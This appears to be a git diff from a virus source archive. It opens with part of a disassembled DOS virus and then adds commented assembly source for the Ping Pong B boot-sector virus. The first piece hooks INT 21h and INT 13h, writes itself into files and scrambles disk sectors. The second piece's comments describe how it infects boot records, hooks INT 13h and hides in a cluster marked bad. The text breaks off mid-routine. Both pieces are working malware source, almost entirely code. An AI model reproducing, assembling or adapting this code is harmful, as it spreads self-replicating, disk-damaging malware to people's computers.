mov word ptr ds:[0D0h],ax ; (00D0=0F85h) +0327 A1 00CA mov ax,data_5 ; (00CA=34BCh) +032A E8 018F call sub_3 +032D 74 61 jz loc_36 ; Jump if zero +032F 84 C9 test cl,cl +0331 75 25 jnz loc_33 ; Jump if not zero +0333 E8 018F call sub_4 +0336 72 58 jc loc_36 ; Jump if carry Set +0338 91 xchg ax,cx +0339 26: 03 45 11 add ax,es:[di+11h] +033D 2B C1 sub ax,cx +033F 26: 89 45 15 mov es:[di+15h],ax +0343 A3 00CD mov word ptr ds:[0CDh],ax ; (00CD=1630h) +0346 B4 40 mov ah,40h ; '@' +0348 CD 21 int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +034A 3B C1 cmp ax,cx +034C 75 42 jne loc_36 ; Jump if not equal +034E A1 00D0 mov ax,word ptr ds:[0D0h] ; (00D0=0F85h) +0351 05 0003 add ax,3 +0354 26: 89 45 15 mov es:[di+15h],ax +0358 loc_33: +0358 33 D2 xor dx,dx ; Zero register +035A 8B F2 mov si,dx +035C B9 0353 mov cx,353h + +035F locloop_34: +035F AD lodsw ; String [si] to ax +0360 81 FE 0022 cmp si,22h + nop ; Fixup for MASM (M) +0364 72 06 jb loc_35 ; Jump if below +0366 33 06 06B1 xor ax,word ptr ds:[6B1h] ; (06B1=0FFF0h) +036A 33 D0 xor dx,ax +036C loc_35: +036C 89 84 0708 mov word ptr ds:[708h][si],ax ; (0708=0) +0370 E2 ED loop locloop_34 ; Loop if cx > 0 + +0372 33 16 06B1 xor dx,word ptr ds:[6B1h] ; (06B1=0FFF0h) +0376 31 94 012A xor word ptr ds:[12Ah][si],dx ; (012A=42E2h) +037A B4 40 mov ah,40h ; '@' +037C E8 0148 call sub_5 +037F 33 C8 xor cx,ax +0381 75 0D jnz loc_36 ; Jump if not zero +0383 26: 89 4D 15 mov es:[di+15h],cx +0387 BA 00CF mov dx,0CFh +038A B1 03 mov cl,3 +038C B4 40 mov ah,40h ; '@' +038E CD 21 int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +0390 loc_36: +0390 58 pop ax +0391 0A C4 or al,ah +0393 24 40 and al,40h ; '@' +0395 26: 08 45 06 or es:[di+6],al +0399 26: 8F 45 15 pop word ptr es:[di+15h] +039D loc_37: +039D B4 3E mov ah,3Eh ; '>' +039F CD 21 int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +03A1 loc_38: +03A1 5A pop dx +03A2 B8 3301 mov ax,3301h +03A5 CD 21 int 21h ; DOS Services ah=function 33h + ; ctrl-break flag al=off/on +03A7 5E pop si +03A8 1F pop ds +03A9 8F 44 46 pop word ptr [si+46h] +03AC 8F 44 44 pop word ptr [si+44h] +03AF 8F 44 02 pop word ptr [si+2] +03B2 8F 04 pop word ptr [si] +03B4 07 pop es +03B5 1F pop ds +03B6 5F pop di +03B7 5E pop si +03B8 5A pop dx +03B9 59 pop cx +03BA 5B pop bx +03BB 58 pop ax +03BC 9D popf ; Pop flags +03BD EA 0BCD:20B4 jmp far ptr loc_2 +03C2 loc_39: +03C2 B4 2F mov ah,2Fh ; '/' +03C4 CD 21 int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx +03C6 06 push es +03C7 53 push bx +03C8 BA 070A mov dx,70Ah +03CB B4 1A mov ah,1Ah +03CD CD 21 int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx +03CF B9 0006 mov cx,6 +03D2 BA 06BA mov dx,6BAh +03D5 B4 4E mov ah,4Eh ; 'N' +03D7 CD 21 int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx +03D9 72 10 jc loc_41 ; Jump if carry Set +03DB loc_40: +03DB A0 0720 mov al,byte ptr ds:[720h] ; (0720=0F8h) +03DE 24 1F and al,1Fh +03E0 3C 1E cmp al,1Eh +03E2 F8 clc ; Clear carry flag +03E3 75 06 jnz loc_41 ; Jump if not zero +03E5 B4 4F mov ah,4Fh ; 'O' +03E7 CD 21 int 21h ; DOS Services ah=function 4Fh + ; find next filename match +03E9 73 F0 jnc loc_40 ; Jump if carry=0 +03EB loc_41: +03EB 5A pop dx +03EC 1F pop ds +03ED 9C pushf ; Push flags +03EE B4 1A mov ah,1Ah +03F0 CD 21 int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx +03F2 9D popf ; Pop flags +03F3 72 AC jc loc_38 ; Jump if carry Set +03F5 0E push cs +03F6 1F pop ds +03F7 0E push cs +03F8 07 pop es +03F9 BE 0728 mov si,728h +03FC 41 inc cx +03FD F3/ A5 rep movsw ; Rep when cx >0 Mov [si] to es:[di] +03FF BA 06BA mov dx,6BAh +0402 B8 3D00 mov ax,3D00h +0405 CD 21 int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx +0407 72 98 jc loc_38 ; Jump if carry Set +0409 93 xchg ax,bx +040A E8 0096 call sub_2 +040D 72 8E jc loc_37 ; Jump if carry Set +040F 83 C7 15 add di,15h +0412 B1 18 mov cl,18h +0414 B4 3F mov ah,3Fh ; '?' +0416 CD 21 int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +0418 3B C1 cmp ax,cx +041A loc_42: +041A 75 81 jne loc_37 ; Jump if not equal +041C 8B F2 mov si,dx +041E AD lodsw ; String [si] to ax +041F E8 009A call sub_3 +0422 75 F6 jnz loc_42 ; Jump if not zero +0424 26: 80 4D F8 1F or byte ptr es:[di-8],1Fh +0429 26: FE 4D F8 dec byte ptr es:[di-8] +042D B1 02 mov cl,2 + +042F locloop_43: +042F 92 xchg ax,dx +0430 26: 8B 45 FC mov ax,es:[di-4] +0434 AB stosw ; Store ax to es:[di] +0435 E2 F8 loop locloop_43 ; Loop if cx > 0 +0437 83 7C 0A FF cmp word ptr [si+0Ah],0FFFFh +043B 75 59 jne loc_45 ; Jump if not equal +043D B1 0C mov cl,0Ch +043F D3 E0 shl ax,cl ; Shift w/zeros fill +0441 2B 44 06 sub ax,[si+6] +0444 87 54 12 xchg dx,[si+12h] +0447 87 44 14 xchg ax,[si+14h] +044A 89 16 013B mov word ptr data_9,dx ; (013B=0) +044E A3 013D mov data_10,ax ; (013D=0) +0451 B8 FFF0 mov ax,0FFF0h +0454 87 44 0C xchg ax,[si+0Ch] +0457 A3 013F mov data_11,ax ; (013F=0) +045A B8 0100 mov ax,100h +045D 87 44 0E xchg ax,[si+0Eh] +0460 A3 0141 mov data_12,ax ; (0141=0) +0463 BA 00D2 mov dx,0D2h +0466 B1 84 mov cl,84h +0468 B4 40 mov ah,40h ; '@' +046A CD 21 int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +046C C133 data_15 dw 0C133h +046E 75 26 jnz loc_45 ; Jump if not zero +0470 83 EF 04 sub di,4 +0473 AB stosw ; Store ax to es:[di] +0474 AB stosw ; Store ax to es:[di] +0475 26: 8B 45 F8 mov ax,es:[di-8] +0479 26: 8B 55 FA mov dx,es:[di-6] +047D B9 0200 mov cx,200h +0480 F7 F1 div cx ; ax,dx rem=dx:ax/reg +0482 85 D2 test dx,dx +0484 74 01 jz loc_44 ; Jump if zero +0486 40 inc ax +0487 loc_44: +0487 89 14 mov [si],dx +0489 89 44 02 mov [si+2],ax +048C B9 0018 mov cx,18h +048F BA 06BA mov dx,6BAh +0492 B4 40 mov ah,40h ; '@' +0494 CD 21 int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +0496 loc_45: +0496 26: 80 65 EC BF and byte ptr es:[di-14h],0BFh +049B 26: 80 4D ED 40 or byte ptr es:[di-13h],40h ; '@' +04A0 E9 FEFA jmp loc_37 + sub_1 endp + + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_2 proc near +04A3 B8 1220 mov ax,1220h +04A6 CD 2F int 2Fh ; Multiplex/Spooler al=func 20h +04A8 72 11 jc loc_ret_46 ; Jump if carry Set +04AA 53 push bx +04AB 26: 8A 1D mov bl,es:[di] +04AE B8 1216 mov ax,1216h +04B1 CD 2F int 2Fh ; Multiplex/Spooler al=func 16h +04B3 5B pop bx +04B4 72 05 jc loc_ret_46 ; Jump if carry Set +04B6 26: C6 45 02 02 mov byte ptr es:[di+2],2 + +04BB loc_ret_46: +04BB C3 retn + sub_2 endp + + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_3 proc near +04BC 3D 5A4D cmp ax,5A4Dh +04BF 74 03 je loc_ret_47 ; Jump if equal +04C1 3D 4D5A cmp ax,4D5Ah + +04C4 loc_ret_47: +04C4 C3 retn + sub_3 endp + + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_4 proc near +04C5 B4 3F mov ah,3Fh ; '?' + + ;==== External Entry into Subroutine ====================================== + + sub_5: +04C7 B9 06A8 mov cx,6A8h + + ;==== External Entry into Subroutine ====================================== + + sub_6: +04CA BA 070A mov dx,70Ah +04CD CD 21 int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +04CF C3 retn + sub_4 endp + + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_7 proc near +04D0 8A C4 mov al,ah + + ;==== External Entry into Subroutine ====================================== + + sub_8: +04D2 D0 E8 shr al,1 ; Shift w/zeros fill +04D4 8A D0 mov dl,al +04D6 50 push ax +04D7 14 01 adc al,1 +04D9 3C 03 cmp al,3 +04DB 72 02 jb loc_48 ; Jump if below +04DD 2C 03 sub al,3 +04DF loc_48: +04DF 0A D0 or dl,al +04E1 D7 xlat [bx] ; al=[al+[bx]] table +04E2 88 04 mov [si],al +04E4 46 inc si +04E5 58 pop ax +04E6 D7 xlat [bx] ; al=[al+[bx]] table +04E7 88 04 mov [si],al +04E9 46 inc si +04EA 8A C2 mov al,dl +04EC 34 03 xor al,3 +04EE D7 xlat [bx] ; al=[al+[bx]] table +04EF C3 retn + sub_7 endp + + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_9 proc near +04F0 D1 EA shr dx,1 ; Shift w/zeros fill +04F2 B0 79 mov al,79h ; 'y' +04F4 73 02 jnc loc_ret_49 ; Jump if carry=0 +04F6 0C 04 or al,4 + +04F8 loc_ret_49: +04F8 C3 retn + sub_9 endp + +04F9 00 04 add [si],al +04FB 00 00 add [bx+si],al +04FD 04 00 add al,0 +04FF 26: 00 2C add es:[si],ch +0502 00 09 add [bx+di],cl +0504 02 00 add al,[bx+si] +0506 00 02 add [bp+si],al +0508 00 0E 0400 add byte ptr ds:[400h],cl ; (0400=0BAh) +050C 04 02 add al,2 +050E 00 00 add [bx+si],al +0510 03 00 add ax,[bx+si] +0512 0F db 0Fh +0513 00 05 add [di],al +0515 05 0003 add ax,3 +0518 00 00 add [bx+si],al +051A 04 00 add al,0 +051C 01 00 add [bx+si],ax +051E 01 02 add [bp+si],ax +0520 03 06 0707 add ax,word ptr ds:[707h] ; (0707=0) +0524 04 05 add al,5 + + ;========================================================================== + ; SUBROUTINE + ; INT 2A + ;========================================================================== +0526 56 push si +0527 57 push di +0528 55 push bp +0529 1E push ds +052A 06 push es +052B 8B EC mov bp,sp +052D 80 FC 82 cmp ah,82h +0530 75 60 jne loc_53 ; Jump if not equal +0532 8C D8 mov ax,ds +0534 3B 46 0C cmp ax,[bp+0Ch] +0537 75 59 jne loc_53 ; Jump if not equal +0539 8B 76 0A mov si,[bp+0Ah] +053C AC lodsb ; String [si] to al +053D 3C CC cmp al,0CCh +053F 74 51 je loc_53 ; Jump if equal +0541 B8 1218 mov ax,1218h +0544 CD 2F int 2Fh ; Multiplex/Spooler al=func 18h +0546 C4 7C 12 les di,dword ptr [si+12h] ; Load 32 bit ptr +0549 26: 80 3D CC cmp byte ptr es:[di],0CCh +054D 74 43 je loc_53 ; Jump if equal +054F 8C C8 mov ax,cs +0551 3B 44 14 cmp ax,[si+14h] +0554 74 3C je loc_53 ; Jump if equal +0556 AD lodsw ; String [si] to ax +0557 80 EC 3D sub ah,3Dh ; '=' +055A 74 1C jz loc_51 ; Jump if zero +055C FE CC dec ah +055E 74 16 jz loc_50 ; Jump if zero +0560 2D 0D00 sub ax,0D00h +0563 75 2D jnz loc_53 ; Jump if not zero +0565 26: 81 7D FE 21CD cmp word ptr es:[di-2],21CDh +056B 75 25 jne loc_53 ; Jump if not equal +056D 40 inc ax +056E 2E: 30 06 00C5 xor byte ptr cs:[0C5h],al ; (00C5=1) +0573 75 1D jnz loc_53 ; Jump if not zero +0575 F9 stc ; Set carry flag +0576 loc_50: +0576 B3 30 mov bl,30h ; '0' +0578 loc_51: +0578 0E push cs +0579 07 pop es +057A BF 03BE mov di,3BEh +057D B8 0156 mov ax,156h +0580 87 44 10 xchg ax,[si+10h] +0583 73 02 jnc loc_52 ; Jump if carry=0 +0585 48 dec ax +0586 48 dec ax +0587 loc_52: +0587 AB stosw ; Store ax to es:[di] +0588 8C C8 mov ax,cs +058A 87 44 12 xchg ax,[si+12h] +058D AB stosw ; Store ax to es:[di] +058E 80 64 14 FE and byte ptr [si+14h],0FEh +0592 loc_53: +0592 07 pop es +0593 1F pop ds +0594 5D pop bp +0595 5F pop di +0596 5E pop si + + ;========================================================================== + ; SUBROUTINE + ; INT 2A + ;========================================================================== +0597 B0 03 mov al,3 +0599 CF iret ; Interrupt return + + +059A 2E: 80 3E 06B3 00 cmp byte ptr cs:[6B3h],0 ; (06B3=0) +05A0 74 12 je loc_55 ; Jump if equal +05A2 41 inc cx +05A3 75 0E jnz loc_54 ; Jump if not zero +05A5 32 E4 xor ah,ah ; Zero register +05A7 2E: 86 26 06B3 xchg ah,byte ptr cs:[6B3h] ; (06B3=0) +05AC F5 cmc ; Complement carry +05AD 2E: 8B 0E 06B8 mov cx,word ptr cs:[6B8h] ; (06B8=6) +05B2 41 inc cx +05B3 loc_54: +05B3 49 dec cx +05B4 loc_55: +05B4 9C pushf ; Push flags +05B5 50 push ax +05B6 9C pushf ; Push flags +05B7 0E push cs +05B8 E8 00EF call $+0F2h +05BB 73 07 jnc loc_56 ; Jump if carry=0 +05BD 83 C4 04 add sp,4 +05C0 F9 stc ; Set carry flag +05C1 E9 00C8 jmp loc_70 +05C4 loc_56: +05C4 58 pop ax +05C5 80 EC 02 sub ah,2 +05C8 80 FC 02 cmp ah,2 +05CB 73 79 jae loc_65 ; Jump if above or = +05CD 53 push bx +05CE 51 push cx +05CF 56 push si +05D0 1E push ds +05D1 loc_57: +05D1 50 push ax +05D2 53 push bx +05D3 51 push cx +05D4 52 push dx +05D5 33 D2 xor dx,dx ; Zero register +05D7 8E DA mov ds,dx +05D9 B9 0100 mov cx,100h +05DC 8B F3 mov si,bx +05DE 56 push si + +05DF locloop_58: +05DF 26: AD lods word ptr es:[si] ; String [si] to ax +05E1 48 dec ax +05E2 3D FFF5 cmp ax,0FFF5h +05E5 73 09 jae loc_60 ; Jump if above or = +05E7 3B C3 cmp ax,bx +05E9 75 02 jne loc_59 ; Jump if not equal +05EB FE C6 inc dh +05ED loc_59: +05ED 93 xchg ax,bx +05EE 42 inc dx +05EF 43 inc bx +05F0 loc_60: +05F0 E2 ED loop locloop_58 ; Loop if cx > 0 + +05F2 5E pop si +05F3 D0 EA shr dl,1 ; Shift w/zeros fill +05F5 F8 clc ; Clear carry flag +05F6 74 36 jz loc_62 ; Jump if zero +05F8 3A D6 cmp dl,dh +05FA 73 32 jae loc_62 ; Jump if above or = +05FC 0E push cs +05FD 1F pop ds +05FE F8 clc ; Clear carry flag +05FF BB 06B4 mov bx,6B4h +0602 FF 07 inc word ptr [bx] +0604 75 28 jnz loc_62 ; Jump if not zero +0606 FF 47 9C inc word ptr [bx-64h] +0609 8A 47 FD mov al,[bx-3] +060C 04 F8 add al,0F8h +060E 73 02 jnc loc_61 ; Jump if carry=0 +0610 B0 FF mov al,0FFh +0612 loc_61: +0612 88 47 01 mov [bx+1],al +0615 A1 046C mov ax,data_15 ; (046C=0C133h) +0618 33 DB xor bx,bx ; Zero register +061A 86 DC xchg bl,ah +061C 03 DB add bx,bx +061E 03 DE add bx,si +0620 03 C0 add ax,ax +0622 03 F0 add si,ax +0624 26: 8B 07 mov ax,es:[bx] +0627 26: 87 04 xchg ax,es:[si] +062A 26: 89 07 mov es:[bx],ax +062D F9 stc ; Set carry flag +062E loc_62: +062E 5A pop dx +062F 59 pop cx +0630 5B pop bx +0631 73 08 jnc loc_63 ; Jump if carry=0 +0633 B8 0301 mov ax,301h +0636 9C pushf ; Push flags +0637 0E push cs +0638 E8 006F call $+72h +063B loc_63: +063B 58 pop ax +063C 72 04 jc loc_64 ; Jump if carry Set +063E FE C8 dec al +0640 75 8F jnz loc_57 ; Jump if not zero +0642 loc_64: +0642 1F pop ds +0643 5E pop si +0644 59 pop cx +0645 5B pop bx +0646 loc_65: +0646 58 pop ax +0647 D1 E8 shr ax,1 ; Shift w/zeros fill +0649 73 3F jnc loc_69 ; Jump if carry=0 +064B B8 0100 mov ax,100h +064E EB 3C jmp short loc_70 +0650 00 00 add [bx+si],al +0652 loc_66: +0652 2E: FF 36 06AF push word ptr cs:[6AFh] ; (06AF=0F086h) +0657 9D popf ; Pop flags +0658 74 50 jz $+52h ; Jump if zero +065A 2E: 88 26 06B3 mov byte ptr cs:[6B3h],ah ; (06B3=0) +065F 2E: 89 0E 06B8 mov word ptr cs:[6B8h],cx ; (06B8=6) +0664 2E: 3A 26 06B6 cmp ah,byte ptr cs:[6B6h] ; (06B6=3) +0669 75 03 jne loc_67 ; Jump if not equal +066B 80 F4 01 xor ah,1 +066E loc_67: +066E 51 push cx +066F B9 FFFF mov cx,0FFFFh +0672 9C pushf ; Push flags +0673 0E push cs +0674 E8 002E call sub_10 +0677 59 pop cx +0678 9C pushf ; Push flags +0679 2E: 80 3E 06B3 00 cmp byte ptr cs:[6B3h],0 ; (06B3=0) +067F loc_68: +067F 75 FE jne loc_68 ; Jump if not equal +0681 9D popf ; Pop flags +0682 73 08 jnc loc_70 ; Jump if carry=0 +0684 80 FC 01 cmp ah,1 +0687 F9 stc ; Set carry flag +0688 75 02 jnz loc_70 ; Jump if not zero +068A loc_69: +068A 33 C0 xor ax,ax ; Zero register +068C loc_70: +068C FB sti ; Enable interrupts +068D CA 0002 retf 2 ; Return far + + ;========================================================================== + ; SUBROUTINE + ; INT 13h + ;========================================================================== + +0690 2E: 3A 26 06B7 cmp ah,byte ptr cs:[6B7h] ; (06B7=4) +0695 74 F3 je loc_69 ; Jump if equal +0697 84 E4 test ah,ah +0699 74 EF jz loc_69 ; Jump if zero +069B 80 FC 01 cmp ah,1 +069E 74 05 je loc_71 ; Jump if equal +06A0 80 FC 05 cmp ah,5 +06A3 72 AD jb loc_66 ; Jump if below + + sub_10 proc near +06A5 loc_71: +06A5 EA 0070:1001 jmp far ptr loc_1 ; ORG INT 13 + sub_10 endp + + + + + + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pingb.asm b/MSDOS/Virus.MSDOS.Unknown.pingb.asm new file mode 100644 index 00000000..d11d20a9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pingb.asm @@ -0,0 +1,761 @@ +TITLE PINGB.ASM - Ping Pong "B" virus assembly source code + +COMMENT # Read the following carefully: + + THIS FILE IS INTENDED FOR EXAMINATION ONLY. + +WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!! +This virus, when assembled, is (almost) harmless if left in a file. +At best, the code will overwrite part of DOS and hang your machine. +At worst, it could wipe out the Boot record of A: or the master boot +record of your hard disk. Since the virus MUST be loaded from a boot +sector to function properly, running the code from DOS will definitely +cause problems. + +DISCLAIMER: The author will NOT be held responsible for any damages + caused by careless use of the information presented here. + +NOTE: This file, when assembled, will produce a binary image identical + to the original virus code (except for data areas). It has a + few flaws, the biggest of which is described in item 1 of the + Coding Quirks section, below. The companion file, PINGB-C.ASM is + a "cleaned-up" copy of the virus; it corrects all the items under + the Coding Quirks section. It should be operationally functional + to the virus code in this copy. + + +THEORY OF OPERATION: + +1) A disk with the virus is booted. +2) The BIOS memory count is decreased by 2k, to prevent DOS from + overwriting the virus, and relocates itself to the reserved space. +3) Part II of the virus is read into RAM just after part I. +4) The original boot sector is read to 0000:7C00. +5) Virus gets and saves the address of INT 13h, the BIOS disk service + interrupt routine, then hooks its own routine in place. +6) The virus jumps to 0000:7C00, load DOS if possible. + + +INFECTION PROCESS: + +1) A BIOS read request is preformed on the target disk. +2) If the drive is different from the last drive that was read from, then + attempt infection immediately. Otherwise, check the BIOS clock tick + count to see if it's time to activate the bouncing ball routine. +3) Read very first sector of the disk. If it's a hard disk, then search + for a DOS-12 or DOS-16 partition, and if found, read the first sector + of THAT partition. We now have the "normal" boot record of the target + disk in the sector buffer. +4) Copy the BPB from the boot record to the virus code space. +5) Check virus' signature in the boot record to see if infected before. + Check disk structure; virus needs 512 byte sectors, and at least 2 sectors + per cluster to infect the disk. +6) Calculate number of system use sectors, data sectors, and maximum cluster + number. +7) Starting with the first sector of the FAT, search for a free cluster. + If none found, then don't infect the disk. +8) The first free cluster is flagged as bad, and the FAT is updated. Note + that only the first copy of the FAT will be modified. +9) The original boot sector is re-read and written to the second sector of + the virus' cluster. Part II of the virus is written to the first sector. + Part I is written to sector 0, replacing the original boot record. + + +INFECTION RESTRICTIONS: + +0) The virus cannot infect a write-protected disk (obvious, isn't it?) +1) The virus will not infect a non-DOS bootable hard disk. +2) The virus will only infect a disk with 512 byte sectors, and at least two + sectors per cluster. This rules out 1.44M and 1.2M disks, among others. +3) The virus will not infect a disk with no free space (from DOS's view). + + +CODING QUIRKS: + +1) The virus uses a "MOV CS,AX" instruction to continue execution after + relocating itself to higher memory (see MEMORY MAP, below). This should + not work on a 286 or 386 system (the author has not tried it!). +2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit + register). It could be replaced by "XOR rr,0" to save a byte. +3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first + computing the ones complement, then adding one to get the twos + complement.) This could be replaced by "NEG rr" to save three bytes. +4) The use of OFS_ADJ (see below for computation) is needed to let me use + an ORG of 0 when assembling the file. I could've used ORG 07C00h, but + that would create a file about 32k in size on assembling. Instead, I + chose to add this offset manually to force correct address generation. + +MEMORY MAP: + +The virus will relocate itself 2k below the top of memory. The virus +itself is 1024 bytes, and uses a 512 byte buffer when infecting other +disks. In all, the virus uses 1.5k of memory that is 512 bytes below +the BIOS top of memory count. For a 640k machine the map becomes: + + 640.0k (97C0:8400, which is A000:0000) ==> Top of memory + 639.5k (97C0:8200 to 97C0:83FF) ==> Unused + 639.0k (97C0:8000 to 97C0:81FF) ==> Buffer used by virus + 638.5k (97C0:7E00 to 97C0:7FFF) ==> 2nd part of virus code + 638.0k (97C0:7C00 to 97C0:7DFF) ==> Main part of Ping Pong virus + +Note that the "clean" version has a different memory map!! + +# End of comment + + +LOCALS + +;The following lines, especially OFS_ADJ, is used to force the assembler to +;generate the correct address for data references. The virus code is +;ORG 7C00h, but we are assembling at ORG 0h. Therefore, we must add +;7C00h to all data references, to make the addresses come out right. +PROGRAM_ASSEMBLY_OFS EQU 0000H +BOOT_SECTOR_LOAD_OFS EQU 7C00H + +OFS_ADJ EQU BOOT_SECTOR_LOAD_OFS - PROGRAM_ASSEMBLY_OFS + + + LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space + ORG 0H ;Interrupt vector space +DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching + + ORG 0020H +INT8_OFS DW ? ;INT 8h vector offset & segment +INT8_SEG DW ? + + ORG 004CH +INT13_OFS DW ? ;INT 13h vector offset & segment +INT13_SEG DW ? + + ORG 0413H ;BIOS data area +KB_MEM DW ? ;K bytes of RAM in machine + + ORG 7C00H ;Jump here to load O/S +BOOT_SECTOR_EXEC LABEL FAR + + LOW_MEM_DATA ENDS + + VIRUS SEGMENT + ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING + ORG 0H + +START_HERE: + JMP SHORT CODE_START ;Force a two byte relative JuMp +NOP_INST: + NOP +OEM_ID DB 'PingPong' ;Must be eight characters long! +BYTES_PER_SEC DW 512 +SEC_PER_CLU DB 2 +RES_SECTORS DW 1 +FAT_COPIES DB 2 +DIR_ENTRIES DW 112 ;This is a standard +TOTAL_SECTORS DW 720 ; BIOS Parameter Block! +MEDIA_DESCRIP DB 0FDH +SEC_PER_FAT DW 2 +SEC_PER_TRK DW 9 +SIDES_ON_DISK DW 2 +HIDDEN_SECTORS DW 0 + + ORG 001EH ;Must ORGinate at offset 1Eh +CODE_START: + XOR AX,AX + MOV SS,AX ;Set up stack pointer + MOV SP,BOOT_SECTOR_LOAD_OFS + MOV DS,AX + ASSUME DS:LOW_MEM_DATA + MOV AX,KB_MEM ;Get BIOS's count of available memory + SUB AX,2 ;Reserve 2k for virus's use + MOV KB_MEM,AX ;Save updated memory Kbyte count + +;Shifting the memory Kbyte count left by 6 bits will yield the equivalent +;paragraph count. The result is the target segment value for relocation. +;Subtracting 07C0h from the segment value will make the segment shift +;downards by 7C00 bytes, which makes offset 7C00h in that segment line +;up with the previous offset 0. +;For a 640k machine (numbers in parenthesis are decimal equivalents) +; Original BIOS memory count: 280h ( 640) Kbytes +; After virus subtracts 2k : 27Eh ( 638) Kbytes +; Shifting left by 6 bits : 9F80h (40832) paragraphs +; Subtract 07C0h : 97C0h (38848) segment value + MOV CL,06 + SHL AX,CL ;This is same as multiplying by 64 + SUB AX,07C0H ;Subtract offset divided by 16 + MOV ES,AX ;Use result as segment value + MOV SI,BOOT_SECTOR_LOAD_OFS + MOV DI,SI ;Set up index regisetrs for move + MOV CX,256 ;Copy 256 words (ie 512 bytes) + REP MOVSW + + DB 08EH, 0C8H ;This is a "MOV CS,AX" instruction (See notes below) +;Notes on MOV CS,AX: +;This should be an illegal instruction, and if you go by the book, it +;wouldn't work on a 80x86 processor. On a 80386 system, it will hang the +;computer, requiring a hard reset or a cold boot. Apprantly, it works on +;a 8088. Turbo Assembler 2.0 will flag "MOV CS,AX" as an instruction with +;illegal operands, so, in order to preserve the original virus code, the +;hex bytes of the instruction must be inserted manually into the code stream. + +VIRUS_CONT LABEL FAR ;Continuation address after move + PUSH CS + POP DS ;Set up DS register + ASSUME ES:VIRUS,DS:VIRUS + CALL @@LOAD_PART_2 ;try two times to load part 2 + @@LOAD_PART_2: + XOR AH,AH + INT 13H ;Reset disk subsystem + AND Byte Ptr DRIVE+OFS_ADJ,080H ;Force drive number to either A: or C: + MOV BX,PART2_SECTOR+OFS_ADJ + +;The sector read/write routine always uses a fixed offset of 8000h; so to get +;the data into the right place, the segment registers are adjusted instead. +;We want to load part 2 of the virus just after part 1, so the offset normally +;would be 7E00h (ie, 7C00h+200h). However, since the offset MUST be 8000h, +;we will change ES to be 0200h BYTES lower then it normally would be. +;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES +;only subtract 0020h. +;This gives us a effective offset calculation of 8000h - (20h * 10h) = 7E00h + PUSH CS + POP AX ;See note above!! + SUB AX,20H + MOV ES,AX ;Move result into ES for read routine + + CALL READ_SECTOR + MOV BX,PART2_SECTOR+OFS_ADJ ;Sector after part 2 of the virus is + INC BX ; the original boot record of the disk + MOV AX,0FFC0H ;Address calculation for sector read: + MOV ES,AX ; 8000h + (FFC0h * 10h) = 107C00h + CALL READ_SECTOR ;Trim address to 20 bits, and you + XOR AX,AX ; get 07C00h, which is 0000:7C00 + MOV FLAGS+OFS_ADJ,AL ;Clear all flags. + MOV DS,AX + ASSUME DS:LOW_MEM_DATA + MOV AX,INT13_OFS + MOV BX,INT13_SEG + MOV Word Ptr INT13_OFS,OFFSET NEW_INT13+OFS_ADJ + MOV INT13_SEG,CS + PUSH CS + POP DS + ASSUME DS:VIRUS + MOV INT13_PATCH+1+OFS_ADJ,AX ;Save original INT 13h vector + MOV INT13_PATCH+3+OFS_ADJ,BX ; directly into instruction stream + MOV DL,DRIVE+OFS_ADJ + JMP BOOT_SECTOR_EXEC ;Load the O/S as normal + +;*************************************** +WRITE_SECTOR: + MOV AX,0301H + JMP SHORT VIRUS_DISK_SERV +READ_SECTOR: + MOV AX,0201H + VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX + XCHG AX,BX ;Swap command code and sector number + +;Now calculate the physical location of the sector number. DOS sectors are +;sequential, while the BIOS uses track, head, and sector numbers. +;Method: +; Starting with: AX=DOS sector # +; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1) +; Move sector number (in DL) to CH for later processing +; Dividing by sides on disk: AX=Track number DL=Head (Side) number +; Since the track # may be more than 255, we will combine the lower +; two bits in AH with the sector number in CH. First shift it left +; by 6 bits, to get it in the form tt000000, then OR it with CH. +; AX now has the following format (high to low bit seq.): TTssssss tttttttt +; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#, +; and "s" is bits of sector number. ) +; Now copy AX into CX, and reverse the two halves of CX. Now the track +; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss) +; The side number is still in DL, so copy it into DH for the BIOS. + + ADD AX,HIDDEN_SECTORS+OFS_ADJ ;Add number of hidden sectors + XOR DX,DX ; (Clear high word for 32 bit division) + DIV SEC_PER_TRK+OFS_ADJ ;Divide by sectors/track to get + INC DL ; sector number in DX. + MOV CH,DL + XOR DX,DX + DIV SIDES_ON_DISK+OFS_ADJ ;Divide what's left in AX by + MOV CL,06 ; # of sides to get a track number + SHL AH,CL ; in AX and the head number in DX. + OR AH,CH ;Do some bit shuffling to get the + MOV CX,AX ; pieces in order... + XCHG CH,CL + MOV DH,DL ; and we're done! (whew!) + + MOV AX,BX ;Move command code back into AX +DISK_SERVICE: + MOV DL,DRIVE+OFS_ADJ + MOV BX,8000H ;Offset is fixed. (See notes above) + INT 13H + JNC @@NO_ERR ;If successful, then return to caller normally + POP AX ;Otherwise, remove caller's return address + 